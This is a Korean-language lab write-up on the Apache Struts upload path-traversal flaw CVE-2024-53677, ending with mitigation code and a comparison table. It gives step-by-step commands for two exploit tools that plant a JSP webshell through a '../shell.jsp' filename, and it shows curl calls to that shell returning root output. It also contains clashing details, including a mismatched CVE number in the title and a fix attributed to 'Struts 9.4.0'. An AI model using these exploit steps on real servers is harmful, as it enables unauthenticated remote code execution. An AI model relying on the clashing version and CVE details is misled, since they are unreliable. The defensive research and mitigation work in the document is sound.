
CVE-2024-53667에 대한 익스플로잇 옵션 연구 및 대응 방안
이 결함은 Struts의 FileUploadInterceptor가 업로드된 파일 이름을 액션 클래스로 전달하는 방식에 있습니다.
일반적으로 인터셉터는 파일 이름을 정리하지만, Struts는 또한 ParametersInterceptor가 모든 멀티파트 파라미터를
OGNL 표현식으로 처리하도록 허용합니다. top.UploadFileName(또는 다중 파일 액션의 경우 uploadFileName[0])을
폼 필드로 보내면 OGNL을 통해 action.setUploadFileName(value)가 직접 호출되어 인터셉터가 설정한 값을 덮어씁니다.
그런 다음 액션은 경로 정리 없이 파일을 씁니다:
String uploadDir = "webapps/ROOT/uploads"; // relative to Tomcat CWD /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName); // no sanitization
파일 이름으로 ../shell.jsp를 보내면 다음과 같이 해석됩니다:
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp ← served at http://localhost:8080/shell.jsp
거기에 JSP 웹쉘을 업로드하면 인증되지 않은 RCE가 발생합니다.
이 취약점과 관련하여 두 가지 익스플로잇이 연구되고 있습니다:
두 익스플로잇의 대상으로 사용된 Lab Tomcat 애플리케이션 서버는 첫 번째 저장소에서 가져왔으며, 컨테이너(docker 또는 podman)에서 실행됩니다.
또 다른 익스플로잇은 이 저장소에서 poc.py의 Java 버전으로 제공되며,
이는 두 번째 소스에서 비롯되었습니다.
두 익스플로잇의 미묘한 차이는 이 문서 끝에 있는 나란히 비교한 표에 나와 있습니다.
두 익스플로잇 모두 Struts 6.3.0.2에서 작동하는 것이 확인되었습니다.
그러나 Struts를 6.8.0 또는 6.9.0으로 업그레이드했을 때, 첫 번째 익스플로잇
(CVE-2024-53677.py)이 작동하지 않았습니다. 이는 Struts 9.4.0의 수정 때문입니다.
두 번째 익스플로잇(StrutsExploitRunner)은 모든 버전 6.3.0.2, 6.8.0,
6.9.0에서 작동합니다. 단, 아래 완화 방법 섹션에서 권장하는 대로 취약한 애플리케이션 코드가 업데이트되지 않은 경우에 한합니다.
아래 조사의 기술적 세부 사항을 참조하십시오.
첫 번째 저장소를 클론하고 루트 디렉터리로 이동합니다:
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677
docker(원래) 또는 podman(연구에서 사용)이 필요하며, 취약한 Lab Tomcat을 빌드하고 실행합니다:
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit
아래 설명된 대로 익스플로잇 스크립트를 저장소 루트 디렉터리에서 Python 가상 환경을 활성화한 상태로 별도의 셸에서 실행합니다.
top.UploadFileName을 사용하여 경로 순회 파일 이름을 주입하여 /upload.action에 JSP 웹쉘을 업로드합니다. 하드코딩된 웹쉘은 ?action=cmd&cmd=<command>를 통해 명령을 받습니다.
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp
-p는 top.UploadFileName으로 전달되는 값입니다. ../ 하나만 있으면 uploads/ 디렉터리를 벗어나 파일을 웹 루트에 위치시킬 수 있습니다.
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
필요한 action=cmd 파라미터에 유의하십시오. 하드코딩된 웹쉘은 명령을 실행하기 전에 이를 확인합니다. 없으면 출력 대신 Unknown action.을 반환합니다.
python CVE-2024-53677.py \
-u http://localhost:8080/upload.action \
-p ../shell.jsp \
-f ./my_payload.jsp
/uploads.action(다중 파일 변형)을 대상으로 하며 OGNL을 통해 uploadFileName[0]을 경로 순회 값으로 설정합니다. 동일한 기본 우회 방법이지만 파라미터 이름과 액션 클래스가 다릅니다.
익스플로잇을 빌드하고 실행하려면 JDK 17 이상이 필요합니다(java 바이너리가 PATH에 있어야 합니다).
이 저장소의 루트에서 다음 명령을 실행하여 실행 가능한 uber-jar를 빌드합니다:
./mvnw clean package
java -jar target/exploit-1.0-SNAPSHOT.jar \
-u http://localhost:8080 \
--upload_endpoint /uploads.action \
--paths .. \
--filenames shell.jsp
--filenames는 파일 이름을 고정하여 가져올 위치를 알 수 있게 합니다. 없으면 스크립트가 무작위 이름을 생성하며 출력에 표시됩니다.
이 애플리케이션이 업로드한 웹쉘은 더 간단한 ?cmd= 인터페이스를 사용합니다:
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
표준 해결책은 파일 업로드 메커니즘을 완전히 재설계한 Struts 7.x로 업그레이드하는 것입니다. 업그레이드가 차단된 경우(JDK 8 호환성, 타사 종속성 제약), 아래의 완화 방법을 적용할 수 있습니다.
이는 어떤 인터셉터가 전달하는 내용에 관계없이 작동하므로 가장 강력한 수정입니다. 대상 경로를 빌드하기 전에 파일 이름에서 모든 경로 구성 요소를 제거한 다음, 확인된 경로가 여전히 의도된 디렉터리 내에 있는지 확인합니다.
import java.nio.file.Paths;
public String doUpload() {
if (upload != null && upload.length() > 0) {
try {
File uploadDirectory = new File("/var/app/uploads");
if (!uploadDirectory.exists()) uploadDirectory.mkdirs();
// Strip any path components the attacker injected via top.UploadFileName
String safeFileName = Paths.get(uploadFileName).getFileName().toString();
File destFile = new File(uploadDirectory, safeFileName);
// Confirm the resolved path is still inside the upload directory
String canonicalDest = destFile.getCanonicalPath();
String canonicalBase = uploadDirectory.getCanonicalPath();
if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
addActionError("Invalid upload path.");
return ERROR;
}
// ... copy bytes as before
Paths.get("../shell.jsp").getFileName()은 shell.jsp를 반환하므로, top.UploadFileName이 순회 문자열을 전달하더라도 I/O가 발생하기 전에 일반 파일 이름으로 축소됩니다.
동일한 패턴이 UploadsAction에도 적용됩니다. 각 uploadFileName.get(i)에 대해 for 루프 내부에 적용하십시오.
| CVE-2024-53677.py | StrutsExploitRunner | |
|---|---|---|
| 엔드포인트 | /upload.action | /uploads.action |
| OGNL 파라미터 | top.UploadFileName | uploadFileName[0] |
| 액션 클래스 | UploadAction (단일 파일) | UploadsAction (다중 파일) |
| 웹쉘 호출 | ?action=cmd&cmd=<cmd> | ?cmd=<cmd> |
| 기본 경로 버그 | 없음 | --paths 기본값이 너무 깊음, ..로 재정의 |